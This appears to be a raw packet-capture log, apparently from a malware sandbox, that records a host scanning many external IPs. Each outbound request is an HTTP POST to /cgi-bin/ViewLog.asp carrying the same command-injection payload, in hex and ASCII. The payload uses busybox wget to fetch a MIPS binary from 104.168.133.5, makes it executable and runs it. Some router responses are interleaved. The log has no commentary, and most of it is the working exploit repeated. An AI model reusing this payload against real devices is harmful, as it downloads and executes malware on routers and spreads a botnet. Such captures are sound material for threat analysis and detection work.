                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:30.027879000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:30.618607044 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.770709038 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:34.266468048 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:38.874475956 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:48.090081930 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:06.265691042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.128592014 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                367192.168.2.153337062.171.174.988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:30.038338900 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                368192.168.2.155853285.166.236.1378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:30.063870907 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:30.286729097 CET328INHTTP/1.0 200 OK
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:21:29 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                369192.168.2.155581695.86.116.518080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:30.079415083 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                370192.168.2.153516085.26.213.1448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:30.092894077 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:30.872822046 CET142INHTTP/1.1 404 Not Found
                                                Connection: Keep-Alive
                                                Transfer-Encoding: chunked


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                371192.168.2.155854285.166.236.1378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:30.510000944 CET388INHTTP/1.0 400 Bad Request
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:21:30 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                372192.168.2.153466431.136.96.2078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:31.058752060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.642522097 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:32.794472933 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:35.290518045 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:39.898356915 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:49.114073992 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:08.313627005 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.176516056 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                373192.168.2.154731462.250.220.1378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:31.062717915 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.273189068 CET680INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 431
                                                Date: Thu, 23 Nov 2023 04:21:26 GMT
                                                Keep-Alive: timeout=5
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                374192.168.2.153965494.122.212.1318080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:31.091804981 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                375192.168.2.155387894.120.250.1478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:31.094191074 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
